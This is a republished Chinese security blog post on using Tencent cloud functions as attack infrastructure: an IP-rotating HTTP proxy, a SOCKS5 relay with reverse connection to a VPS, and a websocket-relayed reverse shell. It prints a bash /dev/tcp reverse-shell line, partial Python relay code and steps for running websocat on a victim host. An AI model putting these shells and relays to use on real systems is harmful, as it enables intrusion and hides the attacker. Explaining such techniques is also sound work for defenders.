浅谈云函数的利用面
2021-05-06 10:52:16 Author: xz.aliyun.com(查看原文) 阅读量:136 收藏

最近看到一篇关于利用云函数做免费代理池的文章,觉得蛮有意思的,于是也花时间研究了并实现了云函数的几个有趣的利用方式。

HTTP 代理

原理

这是最为简单的利用方式。主要原理在于:

  1. 云函数可利用 API 网关触发器进行触发,接受来自客户端的数据
  2. 可以对外发包,类似于一个 SSRF

实现

因此一个 HTTP Proxy 的实现思路就很简单了。客户端挂上代理发送数据包,HTTP 代理服务器拦截数据包,提取 HTTP 报文相关信息,然后将报文以某种形式 POST 到云函数进行解析,云函数根据解析到的信息对目标发起请求,最终将结果一层一层返回。

流程如图所示:

实际效果

开启 HTTP 代理:

测试 IP 数量:

经过多次测试,5 线程 200 次访问 myip.ipip.net,分配 ip 数量在 60-70 左右变动。

SOCKS5 代理

有了 HTTP 代理,就不禁想再往前跨一步,针对 MySQL,RDP 等连接也希望保持匿名的时候,如何利用云函数做 SOCKS5 代理。

原理

云函数能对外发包,自然意味着 socket 可对外发起连接。因此我们完全可以将云函数当作一座桥梁,一侧对 VPS 发起连接,另一侧侧对目标服务器发起连接。

有了这座桥梁,稍微修改一下 SOCKS5 代理我们就可以发车上路了。

实现

正常 SOCKS5 代理请求的流程为服务端监听来自客户端的事件,每当客户端发起一个新的连接,服务端生成一个 socket A,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket 连接 B,同步两个 socket 的 IO 操作。

SOCKS5 主要分为 3 个步骤:

  • 认证:对客户端发起的连接进行认证
  • 建立连接:从客户端发起的连接中读取数据,获得目标服务器地址,并建立连接
  • 转发数据:分别将来自客户端、服务器的数据转发给对方

用代码表示为如下:

def socks5_process(client: socket):
    """SocksServer 监听到新连接时的回调函数,将生成的 socket 作为参数 client 传入"""
    socks5_auth(client)
    target = socks5_connect(client)
    socks5_forward(client, target)


def socks5_connect(client: socket):
    # 省略协议细节处理
    address, port = extract_targe_info(client)
    target = socket.create_connection((address, port))

对比 SOCKS5 的流程和云函数建立连接的方式,可发现在 socks5_connect 中,我们需要的不再是对外主动发起连接,而是监听一个端口,等待云函数发起连接。

而为了让云函数发起连接,我们需要主动对云函数的 API 网关发送请求,触发云函数的执行,并将目标服务器信息附在 POST 数据包中。

# socks5.py
def socks5_process(client: socket):
    socks5_auth(client)
    socks5_connect(client)
    # 不在此处进行 forward 了
    # socks5_forward(client, target)

def socks5_connect(client: socket):
    ...
    address, port = client.read()
    requests.post(api_url, json={"host": address, "port": port})

def forward_process(target: socket):
    """ForwardServer(监听来自云函数的连接) 监听到新连接时的回调函数,将生成的 socket 作为参数 target 传入"""
    # 在此处进行 forward
    # 需要注意由该 client 触发产生 target 连接需要与该 client 对应
    socks5_forward(client, target)

服务端接收请求,并发起连接。

# server.py
def main_handler(event, context):
    data = json.loads(event["body"])
    socks5 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 解析出目标主机并发起连接
    socks5.connect((data["host"], data["port"]))

    forward = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 反向连接
    forward.connect((your_vps, forward_port))

    # 同步 socks5 和 forward 的 IO 操作
    ...

至此,一条完整的通路便形成了。

效果

以 MySQL 连接为例,配置 Proxifier

连接 MySQL:

在 VPS 上开启 SOCKS5 代理,成功打通连接

缺陷

  • 受限于云函数的超时时间,最多仅能维持 15 分钟长连接
  • 代理需要 VPS

反弹 shell

腾讯云函数的 API 网关除了基本的 HTTP 协议,还提供了一个 websocket 协议触发器,具体描述如下:

文中提到,每当客户端发出消息都会触发云函数的执行,这也是为什么上一节不能直接用 websocket 进行 socks5 代理。

介绍完 websocket 功能,接下来就看看如何利用这个东西实现反弹 shell 的功能。

原理

反弹 shell 的本质在于与目标建立一个可以传输数据的双向通道,攻击者通过通道传输的数据被受害主机执行并将结果借由通道原理返回。以 bash 反弹 shell 为例子:

bash -i >& /dev/tcp/127.0.0.1/8088 0>&1
  • >& target 等价于 > file 2>&1,即将标准错误输出标准输出都重定向 target
  • 0>&1 即将标准输入也重定向到 target
    最终的结果如下

既然如此,我们能不能再加两层 websocket 通道,形成这样的通道:

形成上述通道的难点在于需要能够从受害主机对 API 网关发起 socket 连接并传输 shell 数据,于是经过一番摸索找到这样一个工具 websocat

该工具提供了一个将 TCP 端口转发到 websocket 的功能。

因此利用思路为:

  1. 上传 websocat(或远程下载)到受害主机
  2. 执行 websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway 转发端口
  3. 反弹 shell 到本地端口 bash -i >& /dev/tcp/127.0.0.1/12345 0>&1
  4. 攻击者连接 ws://apigate ,通过云函数进行消息中转,开始愉快的执行命令

通过 ws 连接时,API 网关会生成一个 ConnectionID 代表当前与之连接的一台机器,然而因为通过 ws 连接每次发消息都会调用一次云函数,我们只能知道发起连接的这台机器的 ConnectionID。为此我们还需要一台数据库,用来保存处于连接中的机器,方便进行消息中转。

最终结构如下:

效果

在受害主机上执行命令

本地连接 API 网关,成功执行命令

因为 API 网关的 ws 地址直接暴露会比较危险,因此在服务端增加了一个认证功能,未认证连接发送的信息仅会发送给经过认证的的连接。

工具

本文仅针对 3 种方式提供了一个简单的原理和思路讲解,并未深入代码细节和云函数的具体配置。但 3 中思路均已实现成工具,云函数的配置方法也包括在内,有需要的师傅可以康康 SCFProxy


文章来源: http://xz.aliyun.com/t/9502
如有侵权请联系:admin#unsafe.sh